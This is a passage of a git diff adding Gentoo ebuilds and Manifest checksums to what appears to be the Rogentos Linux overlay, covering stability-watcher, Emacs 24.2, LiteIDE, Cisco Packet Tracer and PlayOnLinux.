+repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg.rogentos.ro/~rogentos/entropy/|
diff --git a/app-admin/stability-watcher/stability-watcher-0.1.ebuild b/app-admin/stability-watcher/stability-watcher-0.1.ebuild
new file mode 100644
index 00000000..750ada13
--- /dev/null
+++ b/app-admin/stability-watcher/stability-watcher-0.1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Offical Rogentos Stability Watcher"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="GPL-v2"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/openrc"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+src_install() {
+        ewarn "This is available for only Entropy package manager" || die
+        insinto /etc/entropy/packages/package.mask.d/
+        doins "${FILESDIR}"/07-rogentos-packages.mask || die
+	#insinto /etc/entropy/repositories.conf.d/
+	#doins "${FILESDIR}"/entropy_sabayonlinux.org || die
+}
+
+pkg_postinst() {
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/app-editors/emacs/Manifest b/app-editors/emacs/Manifest
new file mode 100644
index 00000000..724e3b90
--- /dev/null
+++ b/app-editors/emacs/Manifest
@@ -0,0 +1,3 @@
+DIST emacs-24.2-patches-2.tar.xz 2912 SHA256 7586c4767ff7b74f815b321cdc69e01eb991276ff1bb96b7b62660a5722ed69c SHA512 d1da7677c7a4b58ac0972c98272b195f2201ab449416d3d1b78be72371fefd88d699af1a8e171397bb92324e7cf38c0f09f88fcd98e05a2427ce5d729d702c0e WHIRLPOOL 27281987a2f250514977f92cf90e10d5f6f2ebe35d107add3e33b649e3623b58398f8369f68e948caa87a63037695cb462b4950b7a87fcc0bf36d90a6005d777
+DIST emacs-24.2.tar.xz 34712012 SHA256 1f11b65520611d108eceea886cc1d2573704e18b19aded8a09b75fdea7eb0ddd SHA512 7627d985e9691dd5b5f2a14472592bc1da96ce90823ff50457bb5c20b6e746912b319befff5fb1dac024e1f150df6b7c687ee2cc785f5b7387885244f511bdbd WHIRLPOOL 37a2f8e45a7b3364728f9f99b0661a60355b93f19d745de505dc71b9d8a2ab4de6b4b75a104830da2bcc8d1b3d22539e5f52c85d2f104d8de0dcd0dd69dc9924
+EBUILD emacs-24.2.ebuild 10964 SHA256 7227b0c7167822bd0d9325e86a1b0ca86d5f3517e358541cf378706454d44cdd SHA512 6c4f9d5e76de9056f3d928ec61b773a0aa55c84b3cddf5d71d2a3a9e06a7436b6d3381a5d10c6fb0606a766780b3384674d0ec62d356214696ff7914d178dd59 WHIRLPOOL 577563851f669e4d3c32c91e8e7ff6448e9ab6206098eec160027691456a77a5fe16f92b5b038638b21e4718934a05fb0ec6f6eca8d5c0754fa0b2a36397caf3
diff --git a/app-editors/emacs/emacs-24.2.ebuild b/app-editors/emacs/emacs-24.2.ebuild
new file mode 100644
index 00000000..82267d0f
--- /dev/null
+++ b/app-editors/emacs/emacs-24.2.ebuild
@@ -0,0 +1,336 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-editors/emacs/emacs-24.2.ebuild,v 1.11 2012/10/24 18:52:43 ulm Exp $
+
+EAPI=4
+
+inherit autotools elisp-common eutils flag-o-matic multilib
+
+DESCRIPTION="The extensible, customizable, self-documenting real-time display editor"
+HOMEPAGE="http://www.gnu.org/software/emacs/"
+SRC_URI="mirror://gnu/emacs/${P}.tar.xz
+	mirror://gentoo/${P}-patches-2.tar.xz"
+
+LICENSE="GPL-3+ FDL-1.3+ BSD HPND MIT W3C unicode PSF-2"
+SLOT="24"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris"
+IUSE="alsa aqua athena dbus games gconf gif gnutls gpm gsettings gtk gtk3 gzip-el hesiod imagemagick jpeg kerberos libxml2 livecd m17n-lib motif pax_kernel png selinux sound source svg tiff toolkit-scroll-bars wide-int X Xaw3d xft +xpm"
+REQUIRED_USE="aqua? ( !X )"
+
+RDEPEND="sys-libs/ncurses
+	>=app-admin/eselect-emacs-1.2
+	>=app-emacs/emacs-common-gentoo-1.3-r3[games?,X?]
+	net-libs/liblockfile
+	hesiod? ( net-dns/hesiod )
+	kerberos? ( virtual/krb5 )
+	alsa? ( media-libs/alsa-lib )
+	gpm? ( sys-libs/gpm )
+	dbus? ( sys-apps/dbus )
+	gnutls? ( net-libs/gnutls )
+	libxml2? ( >=dev-libs/libxml2-2.2.0 )
+	selinux? ( sys-libs/libselinux )
+	X? (
+		x11-libs/libXmu
+		x11-libs/libXt
+		x11-misc/xbitmaps
+		gconf? ( >=gnome-base/gconf-2.26.2 )
+		gsettings? ( >=dev-libs/glib-2.28.6 )
+		gif? ( media-libs/giflib )
+		jpeg? ( virtual/jpeg )
+		png? ( >=media-libs/libpng-1.4:0 )
+		svg? ( >=gnome-base/librsvg-2.0 )
+		tiff? ( media-libs/tiff )
+		xpm? ( x11-libs/libXpm )
+		imagemagick? ( >=media-gfx/imagemagick-6.6.2 )
+		xft? (
+			media-libs/fontconfig
+			media-libs/freetype
+			x11-libs/libXft
+			m17n-lib? (
+				>=dev-libs/libotf-0.9.4
+				>=dev-libs/m17n-lib-1.5.1
+			)
+		)
+		gtk? (
+			gtk3? ( x11-libs/gtk+:3 )
+			!gtk3? ( x11-libs/gtk+:2 )
+		)
+		!gtk? (
+			Xaw3d? ( x11-libs/libXaw3d )
+			!Xaw3d? (
+				athena? ( x11-libs/libXaw )
+				!athena? ( motif? ( >=x11-libs/motif-2.3:0 ) )
+			)
+		)
+	)"
+
+DEPEND="${RDEPEND}
+	app-arch/xz-utils
+	alsa? ( virtual/pkgconfig )
+	dbus? ( virtual/pkgconfig )
+	gnutls? ( virtual/pkgconfig )
+	libxml2? ( virtual/pkgconfig )
+	X? ( virtual/pkgconfig )
+	gzip-el? ( app-arch/gzip )
+	pax_kernel? ( sys-apps/paxctl )"
+
+EMACS_SUFFIX="emacs-${SLOT}"
+SITEFILE="20${PN}-${SLOT}-gentoo.el"
+# FULL_VERSION keeps the full version number, which is needed in
+# order to determine some path information correctly for copy/move
+# operations later on
+FULL_VERSION="${PV%%_*}"
+S="${WORKDIR}/emacs-${FULL_VERSION}"
+
+src_prepare() {
+	EPATCH_SUFFIX=patch epatch
+	epatch_user
+
+	if ! use alsa; then
+		# ALSA is detected even if not requested by its USE flag.
+		# Suppress it by supplying pkg-config with a wrong library name.
+		sed -i -e "/ALSA_MODULES=/s/alsa/DiSaBlEaLsA/" configure.in \
+			|| die "unable to sed configure.in"
+	fi
+	if ! use gzip-el; then
+		# Emacs' build system automatically detects the gzip binary and
+		# compresses el files. We don't want that so confuse it with a
+		# wrong binary name
+		sed -i -e "s/ gzip/ PrEvEnTcOmPrEsSiOn/" configure.in \
+			|| die "unable to sed configure.in"
+	fi
+
+	AT_M4DIR=m4 eautoreconf
+}
+
+src_configure() {
+	strip-flags
+
+	if use sh; then
+		replace-flags "-O[1-9]" -O0		#262359
+	elif use ia64; then
+		replace-flags "-O[2-9]" -O1		#325373
+	else
+		replace-flags "-O[3-9]" -O2
+	fi
+
+	local myconf
+
+	if use alsa && ! use sound; then
+		einfo "Although sound USE flag is disabled you chose to have alsa,"
+		einfo "so sound is switched on anyway."
+		myconf="${myconf} --with-sound"
+	else
+		myconf="${myconf} $(use_with sound)"
+	fi
+
+	if use X; then
+		myconf="${myconf} --with-x --without-ns"
+		myconf="${myconf} $(use_with gconf)"
+		myconf="${myconf} $(use_with gsettings)"
+		myconf="${myconf} $(use_with toolkit-scroll-bars)"
+		myconf="${myconf} $(use_with gif) $(use_with jpeg)"
+		myconf="${myconf} $(use_with png) $(use_with svg rsvg)"
+		myconf="${myconf} $(use_with tiff) $(use_with xpm)"
+		myconf="${myconf} $(use_with imagemagick)"
+
+		if use xft; then
+			myconf="${myconf} --with-xft"
+			myconf="${myconf} $(use_with m17n-lib libotf)"
+			myconf="${myconf} $(use_with m17n-lib m17n-flt)"
+		else
+			myconf="${myconf} --without-xft"
+			myconf="${myconf} --without-libotf --without-m17n-flt"
+			use m17n-lib && ewarn \
+				"USE flag \"m17n-lib\" has no effect if \"xft\" is not set."
+		fi
+
+		if use gtk; then
+			einfo "Configuring to build with GIMP Toolkit (GTK+)"
+			myconf="${myconf} --with-x-toolkit=$(usev gtk3 || echo gtk)"
+			local f
+			for f in athena Xaw3d motif; do
+				use ${f} && ewarn "USE flag \"${f}\" ignored" \
+					"(superseded by \"gtk\")"
+			done
+		elif use athena || use Xaw3d; then
+			einfo "Configuring to build with Athena/Lucid toolkit"
+			myconf="${myconf} --with-x-toolkit=lucid $(use_with Xaw3d xaw3d)"
+			use motif && ewarn "USE flag \"motif\" ignored" \
+				"(superseded by \"athena\" or \"Xaw3d\")"
+		elif use motif; then
+			einfo "Configuring to build with Motif toolkit"
+			myconf="${myconf} --with-x-toolkit=motif"
+		else
+			einfo "Configuring to build with no toolkit"
+			myconf="${myconf} --with-x-toolkit=no"
+		fi
+
+		! use gtk && use gtk3 \
+			&& ewarn "USE flag \"gtk3\" has no effect if \"gtk\" is not set."
+	elif use aqua; then
+		einfo "Configuring to build with Cocoa support"
+		myconf="${myconf} --with-ns --disable-ns-self-contained"
+		myconf="${myconf} --without-x"
+	else
+		myconf="${myconf} --without-x --without-ns"
+	fi
+
+	# Save version information in the Emacs binary. It will be available
+	# in variable "system-configuration-options".
+	myconf="${myconf} GENTOO_PACKAGE=${CATEGORY}/${PF}"
+
+	# According to configure, this option is only used for GNU/Linux
+	# (x86_64 and s390). For Gentoo Prefix we have to explicitly spell
+	# out the location because $(get_libdir) does not necessarily return
+	# something that matches the host OS's libdir naming (e.g. RHEL).
+	local crtdir=$($(tc-getCC) -print-file-name=crt1.o)
+	crtdir=${crtdir%/*}
+
+	econf \
+		--program-suffix=-${EMACS_SUFFIX} \
+		--infodir="${EPREFIX}"/usr/share/info/${EMACS_SUFFIX} \
+		--enable-locallisppath="${EPREFIX}/etc/emacs:${EPREFIX}${SITELISP}" \
+		--with-crt-dir="${crtdir}" \
+		--with-gameuser="${GAMES_USER_DED:-games}" \
+		--without-compress-info \
+		--disable-maintainer-mode \
+		$(use_with hesiod) \
+		$(use_with kerberos) $(use_with kerberos kerberos5) \
+		$(use_with gpm) \
+		$(use_with dbus) \
+		$(use_with gnutls) \
+		$(use_with libxml2 xml2) \
+		$(use_with selinux) \
+		$(use_with wide-int) \
+		${myconf}
+}
+
+src_compile() {
+	export SANDBOX_ON=0			# for the unbelievers, see Bug #131505
+	emake CC="$(tc-getCC)"
+}
+
+src_install () {
+	emake DESTDIR="${D}" install
+
+	rm "${ED}"/usr/bin/emacs-${FULL_VERSION}-${EMACS_SUFFIX} \
+		|| die "removing duplicate emacs executable failed"
+	mv "${ED}"/usr/bin/emacs-${EMACS_SUFFIX} "${ED}"/usr/bin/${EMACS_SUFFIX} \
+		|| die "moving Emacs executable failed"
+
+	# move man pages to the correct place
+	local m
+	for m in "${ED}"/usr/share/man/man1/* ; do
+		mv "${m}" "${m%.1}-${EMACS_SUFFIX}.1" || die "mv man failed"
+	done
+
+	# move info dir to avoid collisions with the dir file generated by portage
+	mv "${ED}"/usr/share/info/${EMACS_SUFFIX}/dir{,.orig} \
+		|| die "moving info dir failed"
+	touch "${ED}"/usr/share/info/${EMACS_SUFFIX}/.keepinfodir
+	docompress -x /usr/share/info/${EMACS_SUFFIX}/dir.orig
+
+	# avoid collision between slots, see bug #169033 e.g.
+	rm "${ED}"/usr/share/emacs/site-lisp/subdirs.el
+	rm -rf "${ED}"/usr/share/{applications,icons}
+	rm -rf "${ED}"/var
+
+	# remove unused <version>/site-lisp dir
+	rm -rf "${ED}"/usr/share/emacs/${FULL_VERSION}/site-lisp
+
+	local c=";;"
+	if use source; then
+		insinto /usr/share/emacs/${FULL_VERSION}/src
+		# This is not meant to install all the source -- just the
+		# C source you might find via find-function
+		doins src/*.{c,h,m}
+		doins -r src/{m,s}
+		rm "${ED}"/usr/share/emacs/${FULL_VERSION}/src/{m,s}/README
+		c=""
+	fi
+
+	sed 's/^X//' >"${T}/${SITEFILE}" <<-EOF
+	X
+	;;; ${PN}-${SLOT} site-lisp configuration
+	X
+	(when (string-match "\\\\\`${FULL_VERSION//./\\\\.}\\\\>" emacs-version)
+	X  ${c}(setq find-function-C-source-directory
+	X  ${c}      "${EPREFIX}/usr/share/emacs/${FULL_VERSION}/src")
+	X  (let ((path (getenv "INFOPATH"))
+	X	(dir "${EPREFIX}/usr/share/info/${EMACS_SUFFIX}")
+	X	(re "\\\\\`${EPREFIX}/usr/share/info\\\\>"))
+	X    (and path
+	X	 ;; move Emacs Info dir before anything else in /usr/share/info
+	X	 (let* ((p (cons nil (split-string path ":" t))) (q p))
+	X	   (while (and (cdr q) (not (string-match re (cadr q))))
+	X	     (setq q (cdr q)))
+	X	   (setcdr q (cons dir (delete dir (cdr q))))
+	X	   (setq Info-directory-list (prune-directory-list (cdr p)))))))
+	EOF
+	elisp-site-file-install "${T}/${SITEFILE}" || die
+
+	dodoc README BUGS
+
+	if use aqua; then
+		dodir /Applications/Gentoo
+		rm -rf "${ED}"/Applications/Gentoo/Emacs${EMACS_SUFFIX#emacs}.app
+		mv nextstep/Emacs.app \
+			"${ED}"/Applications/Gentoo/Emacs${EMACS_SUFFIX#emacs}.app || die
+		elog "Emacs${EMACS_SUFFIX#emacs}.app is in ${EPREFIX}/Applications/Gentoo."
+		elog "You may want to copy or symlink it into /Applications by yourself."
+	fi
+}
+
+pkg_preinst() {
+	# move Info dir file to correct name
+	local infodir=/usr/share/info/${EMACS_SUFFIX} f
+	if [[ -f ${ED}${infodir}/dir.orig ]]; then
+		mv "${ED}"${infodir}/dir{.orig,} || die "moving info dir failed"
+	elif [[ -d "${ED}"${infodir} ]]; then
+		# this should not happen in EAPI 4
+		ewarn "Regenerating Info directory index in ${infodir} ..."
+		rm -f "${ED}"${infodir}/dir{,.*}
+		for f in "${ED}"${infodir}/*; do
+			if [[ ${f##*/} != *-[0-9]* && -e ${f} ]]; then
+				install-info --info-dir="${ED}"${infodir} "${f}" \
+					|| die "install-info failed"
+			fi
+		done
+	fi
+}
+
+pkg_postinst() {
+	elisp-site-regen
+
+	if use livecd; then
+		# force an update of the emacs symlink for the livecd/dvd,
+		# because some microemacs packages set it with USE=livecd
+		eselect emacs update
+	else
+		eselect emacs update ifunset
+	fi
+
+	if use X; then
+		elog "You need to install some fonts for Emacs."
+		elog "Installing media-fonts/font-adobe-{75,100}dpi on the X server's"
+		elog "machine would satisfy basic Emacs requirements under X11."
+		elog "See also http://www.gentoo.org/proj/en/lisp/emacs/xft.xml"
+		elog "for how to enable anti-aliased fonts."
+		elog
+	fi
+
+	elog "You can set the version to be started by /usr/bin/emacs through"
+	elog "the Emacs eselect module, which also redirects man and info pages."
+	elog "Therefore, several Emacs versions can be installed at the same time."
+	elog "\"man emacs.eselect\" for details."
+	elog
+	elog "If you upgrade from a previous major version of Emacs, then it is"
+	elog "strongly recommended that you use app-admin/emacs-updater to rebuild"
+	elog "all byte-compiled elisp files of the installed Emacs packages."
+}
+
+pkg_postrm() {
+	elisp-site-regen
+	eselect emacs update ifunset
+}
diff --git a/app-editors/liteide/Manifest b/app-editors/liteide/Manifest
new file mode 100644
index 00000000..92ba8ba1
--- /dev/null
+++ b/app-editors/liteide/Manifest
@@ -0,0 +1 @@
+EBUILD liteide-9999.ebuild 2087 SHA256 9e7949902f239ec97b40b6dc9ec4c37ee6c794057b59caf421c6bcfbfa704f77 SHA512 7369cdf6558b2deef1e783069f4365a0054d58d9a9100506ca67bfaf3b23a64b06647aa0380352fa983c8effe49e692ebe89179cbc8aa9adf697a91a2f4d0a12 WHIRLPOOL c49c42ac194d7d1a1cef66ee8069469dc37abd903bb2ba550ed07fcf54d1ca0af7732cb42ec8457e4f755e30cc5de5975d657fcbb765ed35481e487d2787c118
diff --git a/app-editors/liteide/liteide-9999.ebuild b/app-editors/liteide/liteide-9999.ebuild
new file mode 100644
index 00000000..934bf7bc
--- /dev/null
+++ b/app-editors/liteide/liteide-9999.ebuild
@@ -0,0 +1,90 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+inherit qt4-r2 git-2
+
+DESCRIPTION="LiteIDE is a simple, open source, cross-platform Go IDE."
+HOMEPAGE="http://code.google.com/p/liteide"
+EGIT_REPO_URI="https://github.com/visualfc/liteide.git"
+
+LICENSE="LGPL-2.1"
+KEYWORDS=""
+SLOT="0"
+IUSE="ordered"
+
+DEPEND="dev-lang/go
+	dev-qt/qtgui
+	dev-qt/qtdbus
+	dev-qt/qtwebkit
+	dev-lang/go
+	dev-qt/qtgui
+	dev-qt/qtdbus
+	dev-qt/qtwebkit"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"/"${PN}"-"${PV}"/
+
+src_prepare() {
+	qt4-r2_src_prepare
+}
+
+src_configure() {
+	local conf_release
+	local conf_ordered
+
+	if use ordered ; then
+		conf_ordered="CONFIG+=ordered"
+		conf_release=""
+		else
+		conf_release="CONFIG+=release"
+		conf_ordered=""
+	fi
+
+	cd "${S}"/liteidex/
+	eqmake4 "${S}"/liteidex/liteidex.pro "PREFIX=${EPREFIX}/usr" "LIBDIR=/usr/$(get_libdir)" ${conf_release} ${conf_ordered}
+}
+
+src_install() {
+	cd "${S}"/liteidex/
+	qt4-r2_src_install DESTDIR="${D}"opt/${PN}/ INSTALL_ROOT="${D}"opt/${PN}/ || die
+	
+	export GOPATH=$(pwd)
+
+	# Go Tools
+	go install -ldflags "-s" -v tools/goastview
+	go install -ldflags "-s" -v tools/godocview
+	go install -ldflags "-s" -v tools/goexec
+	go install -ldflags "-s" -v tools/goapi
+
+	# Licence & Readme
+	dodoc LICENSE.LGPL LGPL_EXCEPTION.TXT ../README.md
+
+	# Binaries
+	insinto /opt/${PN}/bin
+	doins "${S}"/liteidex/${PN}/bin/*
+	doins "${S}"/liteidex/bin/*
+
+	# Plugins
+	insinto /opt/${PN}/lib/${PN}/plugins/
+	doins "${S}"/liteidex/${PN}/lib/${PN}/plugins/*.so
+
+	# Documentation
+	insinto /opt/${PN}/share/${PN}/
+	doins -r "${S}"/liteidex/deploy/*
+	doins -r "${S}"/liteidex/os_deploy/*
+
+	# QT Libraries
+	addread /usr/$(get_libdir)/qt4/
+	insinto /opt/${PN}/lib/${PN}
+	doins /usr/$(get_libdir)/qt4/libQtCore.so*
+	doins /usr/$(get_libdir)/qt4/libQtXml.so*
+	doins /usr/$(get_libdir)/qt4/libQtNetwork.so*
+	doins /usr/$(get_libdir)/qt4/libQtGui.so*
+	doins /usr/$(get_libdir)/qt4/libQtDBus.so*
+	doins /usr/$(get_libdir)/qt4/libQtWebKit.so*
+
+	fperms u+x /opt/${PN}/bin/liteide
+	fperms u+x /opt/${PN}/bin/go*
+}
diff --git a/app-emulation/packettracer/Manifest b/app-emulation/packettracer/Manifest
new file mode 100644
index 00000000..ff160046
--- /dev/null
+++ b/app-emulation/packettracer/Manifest
@@ -0,0 +1,2 @@
+DIST PacketTracer533_Generic_Fedora.tar.gz 105596078 RMD160 4f38b8ffcc2da286664a902da85d22c9952e4268 SHA1 9f1c348feb86ec3419e0d9c6cd5327ff26197ad4 SHA256 63bc7c285d1dd34dbd2fb00537456097a238ffcd530f1282f78b225273a03fdf
+EBUILD packettracer-533.ebuild 2663 RMD160 11322bd76e11043a89afb1a831428bc58bbe9c2a SHA1 a00b86b060b950772ba2e171932de9767e80c9fd SHA256 b2894b3747e493bacf0389973c5959e8a0a7141519b3ea98324e0937b777f63a
diff --git a/app-emulation/packettracer/packettracer-533.ebuild b/app-emulation/packettracer/packettracer-533.ebuild
new file mode 100644
index 00000000..99064db2
--- /dev/null
+++ b/app-emulation/packettracer/packettracer-533.ebuild
@@ -0,0 +1,102 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+MY_PN="PacketTracer"
+MY_PT="${MY_PN}${PV}"
+
+inherit eutils fdo-mime multilib
+
+DESCRIPTION="Cisco's Packet Tracer"
+HOMEPAGE="https://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/${CATEGORY}/${MY_PT}_Generic_Fedora.tar.gz"
+
+RESTRICT="fetch mirror strip"
+LICENSE="Cisco_EULA"
+
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="doc online-exam"
+
+DEPEND="app-arch/gzip"
+
+RDEPEND="doc? ( www-plugins/adobe-flash  )
+	amd64? ( app-emulation/emul-linux-x86-compat
+		>=app-emulation/emul-linux-x86-qtlibs-20081109 )
+	!<app-emulation/packettracer-53"
+
+S="${WORKDIR}"
+
+pkg_setup () {
+	# This is a binary x86 package => ABI=x86
+	has_multilib_profile && ABI="x86"
+}
+
+pkg_nofetch () {
+	ewarn "To fetch sources you need cisco account which is available in case"
+	ewarn "you are cisco web-learning student, instructor or you sale cisco hardware, etc..  "
+	einfo ""
+	einfo ""
+	einfo "After that point your browser at http://cisco.netacad.net/"
+	einfo "Login, go to PacketTracer image and download:"
+	einfo "Packet Tracer v5.3.2 Application + Tutorial Generic Fedora links (tar.gz) file"
+	einfo ""
+}
+
+src_prepare(){
+
+	for file in install set_ptenv.sh tpl.linguist tpl.packettracer \
+							extensions/ptaplayer bin/linguist; do
+		 rm -fr  ${file} || die "unable to rm ${file}"
+	done
+	use !doc && rm -fr "${S}/"help/default/tutorials
+}
+
+src_install () {
+
+	local PKT_HOME="/opt/pt/"
+
+	dodir "${PKT_HOME}"
+	cp -R "${S}"/*   "${D}${PKT_HOME}"  || die "Install failed!"
+
+	doicon "${S}/${PN}-${PV}/art/"{app,pka,pkt,pkz}.{ico,png}
+
+	make_wrapper packettracer "./bin/PacketTracer5" "${PKT_HOME}${P}" "${PKT_HOME}${P}/lib"
+	make_desktop_entry "packettracer"  "PacketTracer" "app" "Education;Emulator"
+
+	insinto /usr/share/mime/applications
+	doins "${D}${PKT_HOME}${P}/bin/"*.xml
+
+	rm -f "${D}${PKT_HOME}${MY_NAME}bin/"*.xml
+
+	dodir /etc/env.d
+	echo PT5HOME="${PKT_HOME}/${P}" > "${D}/etc/env.d/50${MY_PN}" || die "env.d files install failed"
+}
+
+pkg_postinst(){
+
+	fdo-mime_desktop_database_update
+	fdo-mime_mime_database_update
+
+	if use doc ; then
+		einfo " You have doc USE flag"
+	    einfo " For use documentaion , please"
+		einfo " install you prefered brouser and  flashplayer support"
+	    einfo " such mozilla or konqerror"
+	fi
+
+	einfo ""
+	einfo " If you have multiuser enviroment"
+	einfo " you mist configure you firewall to use UPnP protocol."
+	einfo " Additional information see in packettracer user manual "
+
+}
+
+pkg_postrm() {
+
+	fdo-mime_desktop_database_update
+	fdo-mime_mime_database_update
+
+}
diff --git a/app-emulation/playonlinux/Manifest b/app-emulation/playonlinux/Manifest
new file mode 100644
index 00000000..e40c46f4
--- /dev/null
+++ b/app-emulation/playonlinux/Manifest
@@ -0,0 +1,16 @@
+DIST PlayOnLinux_4.1.0.tar.gz 4010023 SHA256 d4131068ff86342b3fdd3a9e0613aef80500a103f6c5c4f5f4eb7393931e36e5 SHA512 b01cbf25bbb59f606dff7fd5ced5b5f96bf0d856f23353987e667fe2cc168909683cb819b4d8789f2b7561f608dad888f495b7cd679d3c826549871f8fbe673d WHIRLPOOL a19e083a8086203ca18791524a309d63c52910e21afcf06c36b3c7f170f6437550c4ca70900ed1f457bf82d58b26eb04a67a906c4b79261b77cfdcd0f9df1da3
+DIST PlayOnLinux_4.1.1.tar.gz 4010031 SHA256 eb314836ac798c7cbafdc76dc0660b2178610d3dc557d97aa7c72dfc0dee8e63 SHA512 4062f6a507e613bc46a118571fc0c6560b20adf3dd4707f581730bf1877a1fbbb234558bedd2b3be81c5ff8f9429dbc6c2030f9ad5b3b5174ff3908c3d0c43fd WHIRLPOOL 87270a50bc356cccd7347aca78d2fd63812701c8cc407b33b94636e11601d5d1bf9e7fefbf4c86195e1e4fd62506ba8c1a0e4107e93185552410ae6ec5004011
+DIST PlayOnLinux_4.1.3.tar.gz 4191726 SHA256 499bb79067237c238115fb3225d9bcc3b2d2fc62b6b9e2455feeac7a2c783ecd SHA512 0c67241ba659246ffd6b18421e482e028b4871ba0da98ec329599a81587ad18dbd983e3ea419a0c983a330771c78b3c28b76177f67bae530954f8f6419a86439 WHIRLPOOL ac596572aadf7e5a9fbbad3ddf5eec739af1555032e7d60a27840204cf201799684a38cc3d9761fae3f240d92fd886cab5d3d72e19a458c1b378111c0785568e
+DIST PlayOnLinux_4.1.4.tar.gz 3999026 SHA256 304b2bb3431bc3d516976938bc633d4bbe2327e04c869f3bdfba05e232edab53 SHA512 f330602116efa25910f9e459a07ec59938fbc85e8d400fd6def7b48cac525ebd187b19eb9202f1801b56cd9d3dd8e6a5f8d664840afb973774ed540953705204 WHIRLPOOL d8bd7ad3e9b7b9ca27799fbfa7a651458e6569688c1d828c36e530c3119304d4f2331fb69f762e31285e5f5f35a8a37c5faf2bed05cf4fbed16d9dc642ce521f
+DIST PlayOnLinux_4.1.5.tar.gz 3994564 SHA256 8a01cbb39bf6bae6d763bcf561bd8231eb462a85c73b804b599aab9561f8a981 SHA512 ae9e906a19a0daf26dee5656eb758f8fc6b864ca5a8fb88281b3b2c9543a06b352df72428e7028ec77cb1656aae01bc62ce443f45e62177c3a80e45d813e6de0 WHIRLPOOL 83137f970375ad9d061d741048ba928e6fd4ae489a3ef90aac57e16d00403f367925fc5ccb23fa5f11aa07503288a0097b77516196722245e5385b2b89c23774
+DIST PlayOnLinux_4.1.6.tar.gz 3994906 SHA256 e245d7b2f8255df21c3866cab45d2445b5759da6066e9c29b6b92cb4b0d2997c SHA512 a8a150d80b0c4eeb56809286b9f71360aaebca9a7ce7ad5d81fb4cd47e8c889dcdfaaa4d9b3fd0448541248e53b7c9103c49f2cf71346cd9ad2b3a054fac1983 WHIRLPOOL aa7977224ad3a55da79f4a0054c716b8916c5b76ab005341519021ea6d498857fc5a501f9a54309ee84ef7f47acc63a6de0801e415e61dcc870da7c3a2cf1bfe
+DIST PlayOnLinux_4.1.8.tar.gz 4001263 SHA256 da7c5a92f19e3d72f393979a37b8c7ac7104765081c092ffeb855190742b2ec3 SHA512 027ff8adfc7bc9392c4353fbbf36f3b7adb2e0d64f550abca00d3f77d5b8fa387fce4965aa48f147b0492ba07a79f2271a5ab4b05f501752f9d8b94e3016ce43 WHIRLPOOL 1abe6b84da2455f06706f41bcd4e6c3f6f504a26e8eb8891d876fcb118825e51ee0fcf4043c63248869c78875e79f8732f38bd7a7c581d1d3ca7465dc7f0d56b
+DIST PlayOnLinux_4.2.1.tar.gz 4308243 SHA256 c6e6622afc502cbd89f0d274055282c6a4d696273f167a76acba76a04e9cb0bb SHA512 ece0987275862530665eaeaa37b20ea3a14e367c19399c6024c55130dd7bc29200c5459ab72b42d2f410355793bf2166348aecb691f8179191ccac57217f9ba7 WHIRLPOOL 834f375aa1b8daf2e738368c48bd75d9a78931f6379c5184632061a8f50a1d89c91d69f317b51856489621ca14701ce38a32a3631737cb2b33453e001d2ea9e8
+EBUILD playonlinux-4.1.0.ebuild 3250 SHA256 7f08256fa84270ac721f5480c77cf645db95b70dac6872f73dd991815f53e5f9 SHA512 5ab56ff5a2aaf980d3a78d603c0bf6bbf5659cf13feb4a6e56ee51e88a44a53a39cc37c732e03bf08a6f7d2212ef7ae270351ccaa3f285efee091f894ded2a9c WHIRLPOOL 141266ff3f00ffd4b508cd29107a1a30dce67ebf24d240624a46b85322a42e08b6e2e8f7165568fb3645b3f7eb9ee558a2a6ad33434706e61deb39b8cda6b9f8
+EBUILD playonlinux-4.1.1.ebuild 3250 SHA256 7f08256fa84270ac721f5480c77cf645db95b70dac6872f73dd991815f53e5f9 SHA512 5ab56ff5a2aaf980d3a78d603c0bf6bbf5659cf13feb4a6e56ee51e88a44a53a39cc37c732e03bf08a6f7d2212ef7ae270351ccaa3f285efee091f894ded2a9c WHIRLPOOL 141266ff3f00ffd4b508cd29107a1a30dce67ebf24d240624a46b85322a42e08b6e2e8f7165568fb3645b3f7eb9ee558a2a6ad33434706e61deb39b8cda6b9f8
+EBUILD playonlinux-4.1.3.ebuild 3165 SHA256 26c7cd150609af528a8d920a21c588c705528d48b405c47e5184b8d4204ffab7 SHA512 6bcceb8a486fa7039e85078e8a4918720bb409edbe270d068b3c0f0d9dba748a0c428d01f34e96721a8b83c915bd3c17648ddb939b43d9b389179b834816ecae WHIRLPOOL 15832b55cfab3d64a9adff219937a1f7360f5bd3ebd58aa8730a42dcf398112980e7a1f4f95bc8a14ca97cb3acb0c2a9585ddd26da66aae49a8921621f3fc9dd
+EBUILD playonlinux-4.1.4.ebuild 3165 SHA256 26c7cd150609af528a8d920a21c588c705528d48b405c47e5184b8d4204ffab7 SHA512 6bcceb8a486fa7039e85078e8a4918720bb409edbe270d068b3c0f0d9dba748a0c428d01f34e96721a8b83c915bd3c17648ddb939b43d9b389179b834816ecae WHIRLPOOL 15832b55cfab3d64a9adff219937a1f7360f5bd3ebd58aa8730a42dcf398112980e7a1f4f95bc8a14ca97cb3acb0c2a9585ddd26da66aae49a8921621f3fc9dd
